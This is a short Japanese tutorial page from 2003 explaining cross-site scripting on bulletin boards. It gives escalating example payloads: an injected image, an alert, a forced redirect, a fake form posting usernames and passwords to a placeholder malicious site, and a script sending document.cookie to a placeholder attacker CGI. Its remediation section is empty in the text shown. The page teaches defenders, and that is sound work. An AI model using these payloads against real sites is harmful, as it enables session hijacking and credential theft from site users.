クロスサイトスクリプティングとは - とほほのWWW入門

クロスサイトスクリプティングとは

トップ > アラカルト > クロスサイトスクリプティングとは

クロスサイトスクリプティングとは?

クロスサイトスクリプティング(cross-site scripting)脆弱性とは、CGI などを用いた Webページに発生しがちなセキュリティ問題です。

クロスサイトスクリプティング脆弱性の実例

利用者が HTMLタグを入力できる掲示板があるとします。例えば、下記のようなメッセージを書き込むと、その人のメッセージが赤色で表示されます。

<font color="red">こんにちわ。レッドです。</font>
◆ 悪戯レベル1:不適切な画像

下記のようなメッセージを書き込まれると、掲示板に不適切な画像を貼り付けられてしまいます。このレベルではまだまだクロスサイトスクリプティング脆弱性とは言いませんが、掲示板管理者にとっては問題ですね。

<img src="http://変なサイトの/変な画像.jpg">
◆ 悪戯レベル2:アラートダイアログ

この掲示板に、下記のような JavaScript 付きのメッセージを書き込むと、そのページを開くたびに変なダイアログが表示されてしまいます。

<script>alert("悪者参上!!");</script>
◆ 悪戯レベル3:別ページにジャンプ

下記のようなメッセージを書き込まれてしまうと、掲示板を開く度に強制的に変なページにジャンプされてしまいます。

<script>location.href = "http://悪意のあるサイト/";</script>
◆ 悪戯レベル4:フォーム情報の収集

商取引サイトにおいて、下記のようなメッセージを書き込まれると・・・

<form method="POST" action="http://悪意サイト/悪意スクリプト">
 ユーザ名:<input type="text" name="USERNAME">>br>
 パスワード:<input type="text" name="PASSWORD"><br>
</form>
◆ 悪戯レベル4:Cookie情報の収集

上記までのレベルであれば、単に「予期しないものが表示される」程度の問題ですが、例えば、Cookie でセッション管理を行っているサイトで、下記のような書き込みが行われてしまった場合はどうなるでしょうか。

<script>
location.href = "http://悪意のあるサイト/悪意のあるスクリプト.cgi?"
  + escape(document.cookie);
</script>

大事なセッション情報(ひどい場合は、ユーザ名とパスワードをそのまま Cookie 情報として保持しているサイトもあります)が、悪意のあるサイトの悪意のあるスクリプトに情報として収集されてしまいます。

クロスサイトスクリプティング脆弱性の対処方法

参考資料


Copyright (C) 2003 杜甫々
初版:2003年1月12日
http://www.tohoho-web.com/ex/xss.htm